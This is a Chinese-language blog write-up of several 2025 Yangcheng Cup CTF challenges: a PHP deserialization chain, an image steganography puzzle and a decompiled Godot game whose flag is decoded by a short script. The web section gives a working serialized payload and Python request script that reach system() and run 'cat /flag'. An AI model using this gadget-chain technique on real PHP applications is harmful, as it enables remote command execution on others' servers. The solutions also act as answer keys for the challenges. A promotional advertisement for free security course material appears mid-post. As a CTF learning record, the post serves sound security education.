动态

详情 返回 返回

記2025羊城杯部分題目的解題思路 - 动态 详情

0.前言

好久沒打CTF了,打個羊城杯回顧一下,記錄一下做題過程。

1.web1

給了份php代碼

<?php
​
error_reporting(0);
highlight_file(__FILE__);
​
class A {
    public $first;
    public $step;
    public $next;
​
    public function __construct() {
        $this->first = "繼續加油!";
    }
​
    public function start() {
        echo $this->next;
    }
}
​
class E {
    private $you;
    public $found;
    private $secret = "admin123";
​
    public function __get($name){
        if($name === "secret") {
            echo "<br>".$name." maybe is here!</br>";
            $this->found->check();
        }
    }
}
​
class F {
    public $fifth;
    public $step;
    public $finalstep;
​
    public function check() {
        if(preg_match("/U/",$this->finalstep)) {
            echo "仔細想想!";
        }
        else {
            $this->step = new $this->finalstep();
            ($this->step)();
        }
    }
}
​
class H {
    public $who;
    public $are;
    public $you;
​
    public function __construct() {
        $this->you = "nobody";
    }
​
    public function __destruct() {
        $this->who->start();
    }
}
​
class N {
    public $congratulation;
    public $yougotit;
​
    public function __call(string $func_name, array $args) {
        return call_user_func($func_name,$args[0]);
    }
}
​
class U {
    public $almost;
    public $there;
    public $cmd;
​
    public function __construct() {
        $this->there = new N();
        $this->cmd = $_POST['cmd'];
    }
​
    public function __invoke() {
        return $this->there->system($this->cmd);
    }
}
​
class V {
    public $good;
    public $keep;
    public $dowhat;
    public $go;
​
    public function __toString() {
        $abc = $this->dowhat;
        $this->go->$abc;
        return "<br>Win!!!</br>";
    }
}
​
unserialize($_POST['payload']);
​
?> 

代碼審計後一看就能看到unserialize這個危險函數

unserialize() 函數用於將通過serialize()函數序列化後的對象或數組進行反序列化,並返回原始的對象結構

並且代碼裏面沒有進行任何的過濾和檢驗,那麼如果類中定義了像:

__destruct()__toString()__wakeup() __call()__get()__invoke() 等這樣的魔術方法,攻擊者就可以通過構造精心的序列化對象,就可以讓

PHP 自動執行任意代碼路徑

而這份代碼裏剛好有一整套可鏈式調用的危險類

首先是class A

public function start() {
        echo $this->next;
    }

當 echo $this->next 時,若 $this->next 是個對象且定義了 __toString(),則會觸發它

接着是 class E

public function __get($name){
    if($name === "secret") {
        echo "<br>".$name." maybe is here!</br>";
        $this->found->check();
    }
}

這會觸發 $this->found->check()

還有class H

 public function __destruct() {
        $this->who->start();
    }

在銷燬時自動調用 $this->who->start()

class U直接進行任意命令執行

public function __invoke() {
    return $this->there->system($this->cmd);
}

還有class F class V 也有類似的魔術方法,所以我們可以構造一串序列化對象,讓程序在 unserialize() 時自動觸發這一系列魔術方法,最終執行系統命令,

拿到flag,這就是腳本的思路

import requests
import urllib.parse
url = ""  #web1給的目標url
payload_str = 'O:1:"H":3:{s:3:"who";O:1:"A":3:{s:5:"first";N;s:4:"step";N;s:4:"next";O:1:"V":4:{s:4:"good";N;s:4:"keep";N;s:6:"dowhat";s:6:"secret";s:2:"go";O:1:"E":3:{s:6:"\00E\00you";N;s:9:"\00E\00secret";s:8:"admin123";s:5:"found";O:1:"F":3:{s:5:"fifth";N;s:4:"step";N;s:9:"finalstep";s:1:"u";}}}}s:3:"are";N;s:3:"you";N;}'
data = {
    "payload": payload_str,
    "cmd": "cat /flag" 
}
try:
    response = requests.post(url, data=data, timeout=10)
    print("響應狀態碼:", response.status_code)
    print("響應內容:\n", response.text)
except Exception as e:
    print("請求錯誤:", e)

用 requests.post 向目標 URL 發起一個表單 POST,請求體包含兩個字段:

  • payload:一個 PHP serialize() 格式的字符串(會被服務端 unserialize())。

  • cmd:要傳給後續鏈路執行/使用的命令(在原始易受攻擊代碼中會被 U 類讀取並最終交給 system()

然後來依次解釋payload_str

  • 最外層:O:1:"H":3:{ ... } —— 一個 H 實例,3 個屬性:whoareyou

    • who → 是一個 A 對象:O:1:"A":3:{ ... }

      • A 的 next 字段被設置成一個 V 對象:O:1:"V":4:{ ... }

        • V->dowhat = "secret"(注意是字符串 "secret"

        • V->go → 是一個 E 對象:O:1:"E":3:{ ... }

          • 在 E 對象內,你看到 \00E\00secret 被賦值為 "admin123"

          • E->found → 是一個 F 對象:O:1:"F":3:{ ... }

            • F->finalstep 被設置為 s:1:"u"

    • H 的其它屬性 areyou 在 payload 裏是 N

簡單點來説,就是payload 手工把 H → A → V → E → F 這樣的對象關係構造出來,並把 F->finalstep 置為 'u',把 V->dowhat 置為 'secret',並把 E

的私有 secret 屬性顯式寫成 "admin123"

那是如何觸發ROP鏈的呢?

首先,服務端會執行 unserialize($_POST['payload']),然後在腳本結束或對象被回收時,H::__destruct() 會自動運行,其中有 $this->who-

>start();,即會調用 A->start()去執行 echo $this->next;

由於 A->next 被設為一個對象 Vecho 會觸發 V::__toString(),而V::__toString() 的操作是內部讀取 $this->dowhat"secret"),然後執行

$this->go->$abc,即 E->secret,訪問該屬性會觸發 E::__get('secret')E::__get() 在檢測到 $name === "secret" 時會執行 $this->found->check() —— 也就是調用 F::check()

F::check() 會去檢查 preg_match("/U/", $this->finalstep);

  • 如果 finalstep 包含大寫 U,則會不予繼續執行

  • 但這裏 payload 把 finalstep 設為小寫 'u's:1:"u"),preg_match("/U/","u") 不匹配,因此繞過了

所以因此 F::check() 會執行:

$this->step = new $this->finalstep();
($this->step)();

這會 new 一個名為 'u' 的類,在 PHP 中類名不區分大小寫,因此 'u' 會解析為 U 類,並隨後把該實例當函數調用,觸發 U::__invoke()

U::__invoke() 會調用 $this->there->system($this->cmd)

而且,there 被構造為 N,而 N::__call() 會把方法名當作函數名執行(call_user_func($func_name,$args[0])),從而把 system($cmd) 真正執行出來

最後U::__construct() 在構造時會讀取 $_POST['cmd'],即腳本里傳的 "cat /flag",所以最終會對傳入的 cmd 執行

所以成功拿到flag

2.misc-成功男人背後的女人

層層解包之後,發現是一張圖片

這種一般都是圖片裏面隱藏有什麼東西,用010打開看看

發現是mkbt,應該是那種自定義的模塊,上網找找資料

【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客户端安全檢測指南(安卓+IOS)

發現是adobe fireworks 的專有格式,需要使用fireworks才能看到完整信息

https://zhuanlan.zhihu.com/p/32247127059

打開之後發現一張隱藏圖片

打開看看,發現是帶有一些符號的圖片

一開始還沒有想明白這是什麼東西,直到有師傅提醒説這是二進制,男是1,女是0,就可以轉換為flag了.....

3.re1

拿到題目是個exe文件,先點開看看能不能運行,一運行就看到熟悉的界面,這個界面和圖標太熟悉了!(別問我為什麼會熟悉!)

這是Godot引擎寫的遊戲,所以得去找對應的逆向工具

Godot Re tools

拿工具提取之後,就能發現所有文件的代碼都能看到(這比C逆向好看多了)

在main.gdc文件中發現了一個類似輸出結果分數的函數,懷疑這裏就是flag輸出的地方

當分數達到特定值 7906 時,把字符串 a 按自定義編碼解碼成文本

var bin_chunk = a.substr(i, 12):取出當前的 12 位子串

將這 12 位再分為 三個 4 位子串:

  • hundreds = bin_chunk.substr(0, 4).bin_to_int():把前 4 位當作二進制數(0~15),轉成整數,作百位數字

  • tens = bin_chunk.substr(4, 4).bin_to_int():中間 4 位,當作十位(0~15)

  • units = bin_chunk.substr(8, 4).bin_to_int():最後 4 位,當作個位(0~15)

var ascii_value = hundreds * 100 + tens * 10 + units:把三個小數位組組合成一個十進制數,計算方法是 hundreds*100 + tens*10 + units ——

也就是説每 4 位不是直接表示一個十進制數,而是分別代表 ASCII 值的百位、十位、個位

如果三個 4 位分別是 000000010010,那就是 0*100 + 1*10 + 2 = 12 → ASCII 碼 12

result += String.chr(ascii_value):把計算出的十進制作為 ASCII 碼,用 String.chr 轉成字符並追加到 result

循環結束後,$HUD.show_message(result) 在 HUD 上顯示解碼後的整段文本

那腳本編寫就很容易了,因為我們沒時間在遊戲中拿到7906分,所以可以直接把代碼中字符串a的數值拷貝下來,然後再把上述代碼張貼上去,讓它跑字符串a的

數值就可以了,就這麼簡單

a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"
​
flag = ""
for i in range(0, len(a), 12):
    bin_chunk = a[i:i+12]
    hundreds = int(bin_chunk[0:4], 2)
    tens = int(bin_chunk[4:8], 2)
    units = int(bin_chunk[8:12], 2)
    ascii_value = hundreds * 100 + tens * 10 + units
    flag += chr(ascii_value)
​
print(flag)

更多網安技能的在線實操練習,請點擊這裏>>

  

user avatar zz_687de23306895 头像 wan9 头像 godjian 头像
点赞 3 用户, 点赞了这篇动态!
点赞

Add a new 评论

Some HTML is okay.